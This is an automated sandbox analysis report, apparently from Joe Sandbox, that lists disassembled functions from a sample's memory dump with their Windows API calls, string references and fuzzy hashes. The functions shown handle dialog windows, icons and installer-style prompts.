Download Yara Rule

APIs

GetClassNameA.USER32(?,?,00000040), ref: 00401E05
lstrcmpiA.KERNEL32(?,STATIC), ref: 00401E1C
GetWindowLongW.USER32(?,000000F0), ref: 00401E2F
GetMenu.USER32(?), ref: 00401E44

Part of subcall function 00401BDF: GetModuleHandleW.KERNEL32(00000000), ref: 00401BEA
Part of subcall function 00401BDF: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 00401C07
Part of subcall function 00401BDF: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 00401C1B
Part of subcall function 00401BDF: SizeofResource.KERNEL32(00000000,00000000), ref: 00401C2C
Part of subcall function 00401BDF: LoadResource.KERNEL32(00000000,00000000), ref: 00401C36
Part of subcall function 00401BDF: LockResource.KERNEL32(00000000), ref: 00401C41

GlobalAlloc.KERNEL32(00000040,00000010), ref: 00401E76
memcpy.MSVCRT(00000000,00000000,00000010), ref: 00401E83
CoInitialize.OLE32(00000000), ref: 00401E8C
CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 00401E98
OleLoadPicture.OLEAUT32(?,00000000,00000000,00414C14,?), ref: 00401EBD
GlobalFree.KERNEL32(00000000), ref: 00401ECD

Part of subcall function 00401CC8: GetWindowDC.USER32(00000000), ref: 00401CD4
Part of subcall function 00401CC8: GetDeviceCaps.GDI32(00000000,00000058), ref: 00401CE0
Part of subcall function 00401CC8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00401CF9
Part of subcall function 00401CC8: GetObjectW.GDI32(?,00000018,?), ref: 00401D28
Part of subcall function 00401CC8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00401D33
Part of subcall function 00401CC8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00401D3D
Part of subcall function 00401CC8: CreateCompatibleDC.GDI32(?), ref: 00401D4B
Part of subcall function 00401CC8: CreateCompatibleDC.GDI32(?), ref: 00401D52
Part of subcall function 00401CC8: SelectObject.GDI32(00000000,?), ref: 00401D60
Part of subcall function 00401CC8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00401D6E
Part of subcall function 00401CC8: SelectObject.GDI32(00000000,00000000), ref: 00401D76
Part of subcall function 00401CC8: SetStretchBltMode.GDI32(00000000,00000004), ref: 00401D7E
Part of subcall function 00401CC8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 00401D9D
Part of subcall function 00401CC8: GetCurrentObject.GDI32(00000000,00000007), ref: 00401DA6
Part of subcall function 00401CC8: SelectObject.GDI32(00000000,?), ref: 00401DB3
Part of subcall function 00401CC8: SelectObject.GDI32(00000000,?), ref: 00401DB9
Part of subcall function 00401CC8: DeleteDC.GDI32(00000000), ref: 00401DC2
Part of subcall function 00401CC8: DeleteDC.GDI32(00000000), ref: 00401DC5
Part of subcall function 00401CC8: ReleaseDC.USER32(00000000,?), ref: 00401DCC

GetObjectW.GDI32(00000000,00000018,?), ref: 00401EFF
SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 00401F13
SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00401F25
GlobalFree.KERNEL32(00000000), ref: 00401F3A

Strings

STATIC, xrefs: 00401E13
IMAGES, xrefs: 00401E4E

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
String ID: IMAGES$STATIC
API String ID: 4202116410-1168396491
Opcode ID: 352b3c5e08a174ec4a3ffb4ca519ce1611b0b6cc4168eadb64d38ca8f457be46
Instruction ID: 08c73d75f8249df6a552952f3d33af28cabbedea74541c6d0cfd8ce2793c0c4e
Opcode Fuzzy Hash: 352b3c5e08a174ec4a3ffb4ca519ce1611b0b6cc4168eadb64d38ca8f457be46
Instruction Fuzzy Hash: C7417C71A00218BFCB11DFA1DC49DEEBF7DEF08742B008076FA05A61A0DB758A41DB68

Function 0040813D Relevance: 27.1, APIs: 18, Instructions: 147windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040692C: GetDlgItem.USER32(?,?), ref: 00406939
Part of subcall function 0040692C: ShowWindow.USER32(00000000,?), ref: 00406950

GetDlgItem.USER32(?,000004B8), ref: 0040816A
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00408179
GetDlgItem.USER32(?,000004B5), ref: 004081C0
GetWindowLongW.USER32(00000000,000000F0), ref: 004081C5
GetDlgItem.USER32(?,000004B5), ref: 004081D5
SetWindowLongW.USER32(00000000), ref: 004081D8
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 004081FE
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00408210
GetDlgItem.USER32(?,000004B4), ref: 0040821A
SetFocus.USER32(00000000), ref: 0040821D
SetTimer.USER32(?,00000001,00000000,00000000), ref: 0040824C
CoCreateInstance.OLE32(00414C34,00000000,00000001,00414808,00000000), ref: 00408277
GetDlgItem.USER32(?,00000002), ref: 00408294
IsWindow.USER32(00000000), ref: 00408297
GetDlgItem.USER32(?,00000002), ref: 004082A7
EnableWindow.USER32(00000000), ref: 004082AA
GetDlgItem.USER32(?,000004B5), ref: 004082BE
ShowWindow.USER32(00000000), ref: 004082C1

Part of subcall function 00407134: GetDlgItem.USER32(?,000004B6), ref: 00407142

Part of subcall function 00407B33: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00407B6D
Part of subcall function 00407B33: GetDlgItem.USER32(?,000004B8), ref: 00407B8B
Part of subcall function 00407B33: SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 00407B9D
Part of subcall function 00407B33: wsprintfW.USER32 ref: 00407BBB
Part of subcall function 00407B33: ??3@YAXPAX@Z.MSVCRT(?), ref: 00407C53

Part of subcall function 00407D06: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,0040803E), ref: 00407D30
Part of subcall function 00407D06: LoadIconW.USER32(00000000), ref: 00407D33
Part of subcall function 00407D06: GetSystemMetrics.USER32(00000032), ref: 00407D43
Part of subcall function 00407D06: GetSystemMetrics.USER32(00000031), ref: 00407D48
Part of subcall function 00407D06: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,0040803E), ref: 00407D51
Part of subcall function 00407D06: LoadImageW.USER32(00000000), ref: 00407D54
Part of subcall function 00407D06: SendMessageW.USER32(?,00000080,00000001,?), ref: 00407D79
Part of subcall function 00407D06: SendMessageW.USER32(?,00000080,00000000,?), ref: 00407D89
Part of subcall function 00407D06: GetWindow.USER32(?,00000005), ref: 00407E76
Part of subcall function 00407D06: GetWindow.USER32(?,00000005), ref: 00407E92

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: Item$Window$MessageSend$System$EnableHandleLoadLongMenuMetricsModuleShow$??3@CreateFocusIconImageInstanceTimerUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID:
API String ID: 855516470-0
Opcode ID: f96aa9b93e1fd9714dbcbc8c2c582c1e46f74a713c41b2300bd45d2dcf84ac32
Instruction ID: 3ce0214ef3d03b0ee840dd4ab9c121ae631e901bc0d6870238ad5b6e85178a64
Opcode Fuzzy Hash: f96aa9b93e1fd9714dbcbc8c2c582c1e46f74a713c41b2300bd45d2dcf84ac32
Instruction Fuzzy Hash: 014174B0644748ABDA206F65DD49F5B7BADEB40B05F00847DF552A62E1CB79B800CA1C

Function 00403093 Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 244stringCOMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,hAA,00000000), ref: 004030F6
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,hAA,00000000), ref: 004030FE
strncmp.MSVCRT ref: 004031F1
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 00403255
lstrcmpW.KERNEL32(?,SetEnvironment,00000000), ref: 00403273
??3@YAXPAX@Z.MSVCRT(0040414C,?), ref: 00403347

Strings

MiscFlags, xrefs: 004032C0
GUIFlags, xrefs: 004032B2
hAA, xrefs: 0040309E
SetEnvironment, xrefs: 0040326B
{\rtf, xrefs: 004031D6, 004031EB

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$lstrcmpstrncmp
String ID: GUIFlags$MiscFlags$SetEnvironment$hAA${\rtf
API String ID: 2881732429-172299233
Opcode ID: 436b0b5fdcd0fc7850317bda0c1040a654aafe726af0558e82b6743448b11ef5
Instruction ID: da55d09168dcf28f6e950782b6654b171f18f9ca5632fa18d2c46afc5d57570a
Opcode Fuzzy Hash: 436b0b5fdcd0fc7850317bda0c1040a654aafe726af0558e82b6743448b11ef5
Instruction Fuzzy Hash: 23819D31900218ABDF11DFA1CD55BEE7B78AF14305F1040ABE8017B2E6DB78AB05DB59

Function 00406A47 Relevance: 24.3, APIs: 16, Instructions: 270COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 00406A69
GetWindowLongW.USER32(00000000,000000F0), ref: 00406A6E
GetDlgItem.USER32(?,000004B4), ref: 00406AA5
GetWindowLongW.USER32(00000000,000000F0), ref: 00406AAA
GetSystemMetrics.USER32(00000010), ref: 00406B0B
GetSystemMetrics.USER32(00000011), ref: 00406B11
GetSystemMetrics.USER32(00000008), ref: 00406B18
GetSystemMetrics.USER32(00000007), ref: 00406B1F
GetParent.USER32(?), ref: 00406B43
GetClientRect.USER32(00000000,?), ref: 00406B55
ClientToScreen.USER32(?,?), ref: 00406B68
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00406BCE
GetClientRect.USER32(?,?), ref: 00406C55
ClientToScreen.USER32(?,?), ref: 00406B71

Part of subcall function 0040690F: GetDlgItem.USER32(?,?), ref: 0040691B

GetSystemMetrics.USER32(00000008), ref: 00406CD6
GetSystemMetrics.USER32(00000007), ref: 00406CDD

Part of subcall function 00406A18: GetDlgItem.USER32(?,?), ref: 00406A36
Part of subcall function 00406A18: SetWindowPos.USER32(00000000), ref: 00406A3D

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
String ID:
API String ID: 747815384-0
Opcode ID: bdc5cc6ef77edd437f37f749138dc65a224d6988716d71e8386f1ae5cf91717f
Instruction ID: 701d8c843d4ec3579feae24e97f284edc15b0bac0439a5efdbaa5111af673c9b
Opcode Fuzzy Hash: bdc5cc6ef77edd437f37f749138dc65a224d6988716d71e8386f1ae5cf91717f
Instruction Fuzzy Hash: 7B912D71A00209AFDB14DFB9CD85AEEB7F9EF48704F148529E642F6290D778E9008B64

Function 00407D06 Relevance: 22.7, APIs: 15, Instructions: 231windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,0040803E), ref: 00407D30
LoadIconW.USER32(00000000), ref: 00407D33
GetSystemMetrics.USER32(00000032), ref: 00407D43
GetSystemMetrics.USER32(00000031), ref: 00407D48
GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,0040803E), ref: 00407D51
LoadImageW.USER32(00000000), ref: 00407D54
SendMessageW.USER32(?,00000080,00000001,?), ref: 00407D79
SendMessageW.USER32(?,00000080,00000000,?), ref: 00407D89
GetWindow.USER32(?,00000005), ref: 00407E76
GetWindow.USER32(?,00000005), ref: 00407E92
GetWindow.USER32(?,00000005), ref: 00407EAA
GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,0040803E), ref: 00407F0A
LoadIconW.USER32(00000000), ref: 00407F0D
GetDlgItem.USER32(?,000004B1), ref: 00407F28
SendMessageW.USER32(00000000), ref: 00407F2F

Part of subcall function 0040725A: GetDlgItem.USER32(?,?), ref: 00407264
Part of subcall function 0040725A: GetWindowTextLengthW.USER32(00000000), ref: 0040726B

Part of subcall function 0040692C: GetDlgItem.USER32(?,?), ref: 00406939
Part of subcall function 0040692C: ShowWindow.USER32(00000000,?), ref: 00406950

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: Window$HandleItemLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
String ID:
API String ID: 1889686859-0
Opcode ID: 54e99e0b53345dbf389ae49fdb6e6d7c6227533794aadf34278c182137d853b4
Instruction ID: b6a50195b8a608de49edc5b96f3e83ee8a9b90890169e94b1220211b89b9884f
Opcode Fuzzy Hash: 54e99e0b53345dbf389ae49fdb6e6d7c6227533794aadf34278c182137d853b4
Instruction Fuzzy Hash: E861D47064C7096AE9257B61DC4AF3B3699AB40B05F10447FF642B92D2DBBCBC0056AF

Function 00406F37 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00406F45
GetWindowLongW.USER32(00000000), ref: 00406F4C
DefWindowProcW.USER32(?,?,?,?), ref: 00406F62
CallWindowProcW.USER32(?,?,?,?,?), ref: 00406F7F
GetSystemMetrics.USER32(00000031), ref: 00406F91
GetSystemMetrics.USER32(00000032), ref: 00406F98
GetWindowDC.USER32(?), ref: 00406FAA
GetWindowRect.USER32(?,?), ref: 00406FB7
DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 00406FEB
ReleaseDC.USER32(?,00000000), ref: 00406FF3

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
String ID:
API String ID: 2586545124-0
Opcode ID: 25d202db14ae47cc7765131eef640a3ba3c2163a3dcc7105130798770ded3a1b
Instruction ID: b1ff7c23223d170b9333fa97acec74f2c9230ee3eabfe87d0be763292bfdf634
Opcode Fuzzy Hash: 25d202db14ae47cc7765131eef640a3ba3c2163a3dcc7105130798770ded3a1b
Instruction Fuzzy Hash: 8E210C7650021ABFCF01AFA8DD48DDF7F69FB08351F008565FA15E21A0C775EA209B64

Function 0040677A Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B3), ref: 0040678E
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004067A1
GetDlgItem.USER32(?,000004B4), ref: 004067AB
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004067B3
SendMessageW.USER32(?,00000401,?,00000000), ref: 004067C3
GetDlgItem.USER32(?,?), ref: 004067CC
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004067D4
GetDlgItem.USER32(?,?), ref: 004067DD
SetFocus.USER32(00000000,?,000004B4,75920E50,00407E06,000004B4,000004B3,00000000,000004B4,00000000,000004B2,?,000004B7), ref: 004067E0

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: ad16f172208785dca513fa64c118104ef693669a3ac6e088fd96c23032a45483
Instruction ID: e7a8c5b21de344c7c4c5496bf688f1d5cc3ba414acf11b32f4788b893cc62525
Opcode Fuzzy Hash: ad16f172208785dca513fa64c118104ef693669a3ac6e088fd96c23032a45483
Instruction Fuzzy Hash: 6FF04F712403087BEA212B61DD86F5BBA6EEF81B45F018425F340650F0CBF7EC109A28

Function 0040C3D8 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 480COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,?,?,00000000), ref: 0040C603

Strings

IA, xrefs: 0040C4D9
IA, xrefs: 0040C65E
IA, xrefs: 0040C74D
IA, xrefs: 0040C4C6
IA, xrefs: 0040C66E
IA, xrefs: 0040C4AF

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@
String ID: IA$IA$IA$IA$IA$IA
API String ID: 613200358-3743982587
Opcode ID: 6e54149e8c3d77333b16b378dc95c38791a09178c73359331ff936fd258cd747
Instruction ID: 4cebfcab61734def35128a955d6a3e34031d8899c11ca8f9bd2aeb72941b6852
Opcode Fuzzy Hash: 6e54149e8c3d77333b16b378dc95c38791a09178c73359331ff936fd258cd747
Instruction Fuzzy Hash: D2221671900248DFCB24EF65C8D09EEBBB5FF48304F50852EE91AA7291DB38A945CF58

Function 004083B6 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 196COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,00417788,00000000,SetEnvironment), ref: 00408479

Strings

FinishMessage, xrefs: 00408417, 00408433
BeginPrompt, xrefs: 004084A4, 004084A9
HelpText, xrefs: 00408598
SetEnvironment, xrefs: 004083BC
ErrorTitle, xrefs: 00408511
WarningTitle, xrefs: 0040853A

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@
String ID: BeginPrompt$ErrorTitle$FinishMessage$HelpText$SetEnvironment$WarningTitle
API String ID: 613200358-994561823
Opcode ID: 971dcdd12a827a4034ed94f9ba1d623efd1f14b2bcca4d73e06b44b648e667ed
Instruction ID: 5566f9f9667118f06bc812855c9affabb63102f3a10b3971892d5eca1131561f
Opcode Fuzzy Hash: 971dcdd12a827a4034ed94f9ba1d623efd1f14b2bcca4d73e06b44b648e667ed
Instruction Fuzzy Hash: CA51D47080420AAACF24AB559E85AFB7774EB20348F54443FF881722E1EF7D5D82D64E

Function 00406DB2 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,00417410,00000160), ref: 00406DD1
SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 00406DF0
GetDC.USER32(00000000), ref: 00406DFB
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00406E07
MulDiv.KERNEL32(?,00000048,00000000), ref: 00406E16
ReleaseDC.USER32(00000000,?), ref: 00406E24
GetModuleHandleW.KERNEL32(00000000), ref: 00406E4C
DialogBoxIndirectParamW.USER32(00000000,?,?,Function_0000667A), ref: 00406E81

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 2693764856-0
Opcode ID: e70a94c77e8458ae7b0f85d98e5dff18e09bef3a98047e8bed90a0db42bf0d7e
Instruction ID: b2c1943609947f3a034a1f42a4fd453b3666a2b5c4d4ccfd9a1c2059c5c1cb6f
Opcode Fuzzy Hash: e70a94c77e8458ae7b0f85d98e5dff18e09bef3a98047e8bed90a0db42bf0d7e
Instruction Fuzzy Hash: C32184B5500218BFDB215F61DC45EEB7B7CFB08746F0040B6F609A1190D7748E948B65

Function 0040695E Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040696E
GetSystemMetrics.USER32(0000000B), ref: 0040698A
GetSystemMetrics.USER32(0000003D), ref: 00406993
GetSystemMetrics.USER32(0000003E), ref: 0040699B
SelectObject.GDI32(?,?), ref: 004069B8
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004069D3
SelectObject.GDI32(?,?), ref: 004069F9
ReleaseDC.USER32(?,?), ref: 00406A08

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 3371c90df87af61a96ab0a4f5adfc31794890a389d4733c3cd0e84d47817aa4d
Instruction ID: 7c755332e1b278278a0584394201b19561512224090c74d51841a9ad660c27ee
Opcode Fuzzy Hash: 3371c90df87af61a96ab0a4f5adfc31794890a389d4733c3cd0e84d47817aa4d
Instruction Fuzzy Hash: 6B216871900209EFCB119F65DD84A8EBFF4EF08321F10C46AE559A72A0C7359A50DF40

Function 00407B33 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00407B6D
GetDlgItem.USER32(?,000004B8), ref: 00407B8B
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 00407B9D
wsprintfW.USER32 ref: 00407BBB
??3@YAXPAX@Z.MSVCRT(?), ref: 00407C53

Strings

%d%%, xrefs: 00407BB5

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 0b792d7adb6174ba2d50e5ca9cf87896ffea0db59519718aa7dbff65f529ef39
Instruction ID: b955b8041d8a67620c3180d4911c799512bd6939d195f5b55c3092177650065a
Opcode Fuzzy Hash: 0b792d7adb6174ba2d50e5ca9cf87896ffea0db59519718aa7dbff65f529ef39
Instruction Fuzzy Hash: 1D31D371904208BBDB11AFA0CC45EDA7BB9EF48708F10847AFA42B61E1D779B904CB59

Function 0040408B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(hAA,00000020,?,?,00405838,?,?,?,00000000,?), ref: 004040A4

